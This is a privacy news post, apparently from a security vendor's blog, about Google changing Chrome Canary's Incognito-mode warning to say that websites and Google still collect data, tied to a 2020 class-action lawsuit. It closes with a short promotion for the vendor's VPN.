Google wants you to know you can still be tracked when you're incognito.

Users of Chrome Canary have noticed some slight changes in the wording that Google uses for Incognito mode.

Chrome Canary is mainly intended for use by developers. It’s updated nearly daily with new features, and because it can be used alongside versions of the “normal” Chrome browser (known collectively as Chrome’s “Stable channel”), it can serve for testing and development purposes. So, these developers have access to the latest features and some of them noticed a few updates in the wording about Chrome’s Incognito mode.

Chrome’s Incognito mode aims to protect your privacy from other people who use the same device. It mitigates the risk of a spouse, roommate, or anyone on a public computer spying on your browsing habits. Private browsing mode does so by stopping your browser from saving your browsing information on your computer.

Incognito mode is also sometimes used for troubleshooting, because it ignores the installed browser extensions unless you specifically allow them to run in Incognito mode.

But, although the primary function of private browsing is to locally hide your browsing activity, Incognito mode has an interesting side effect—websites also see you as a new user when you come back in Incognito mode. This can come in handy, but should not be overrated.

You can open Incognito mode by clicking on the three dots in the right hand upper corner (More) of the browser menu and then on **New Incognito window.**

How to open an Incognito window

In the Stable channel build this is what you will see when you open an Incognito window.

> You’ve gone Incognito
> 
> Now you can browse privately, and other people who use this device won’t see your activity. However, downloads, bookmarks and reading list items will be saved.

The new warning seen in Chrome Canary when you open an incognito window says:

> “You’ve gone Incognito. Others who use this device won’t see your activity, so you can browse **more** privately. **This won’t change how data is collected by websites you visit and the services they use, including Google.**“

Image courtesy of MSPowerUser

It’s clear that Google has put more emphasis on users of the same device while moving away from the websites you visit. And it’s true that Incognito mode is primarily designed to keep your information private from other users of the same computer. It isn’t designed to keep your information private from the websites you visit, although that is sometimes a side effect. We have explained this in the past, but it’s noteworthy that Google has now added that it “won’t change how data is collected by websites you visit and the services they use, including Google.”

It’s generally assumed that the changes are tied to the fact that Google has indicated that it is ready to settle a class-action lawsuit filed in 2020 over the Incognito mode. Arising in the Northern District of California, the lawsuit accused Google of continuing to “track, collect, and identify \[users’\] browsing data in real time” even when they had opened a new Incognito window.

The judge rejected Google’s bid for summary judgement in August of 2023, pointing out that Google never revealed to its users that data collection continued even while surfing in Incognito mode.

Apparently many users, surely not our regular readers, where not aware that Incognito mode is not an anonymous mode. Websites and services, will still be able to track you and collect your data. Enabling the **Block third-party cookies** setting is more helpful.

**We don’t just report on privacy—we offer you the option to use it.**

Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.

Tag

#google